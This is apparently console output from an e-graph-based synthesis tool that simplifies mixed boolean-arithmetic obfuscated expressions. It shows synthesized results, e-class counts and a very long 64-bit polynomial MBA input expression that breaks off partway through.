Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 2485
Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 12854
Synthesized (cost = 21): ((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#16)
python3 synth.py
eclasses #: 157
Input (cost = 7388): ((-(((((-0x3399e33c88a2571)-((((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-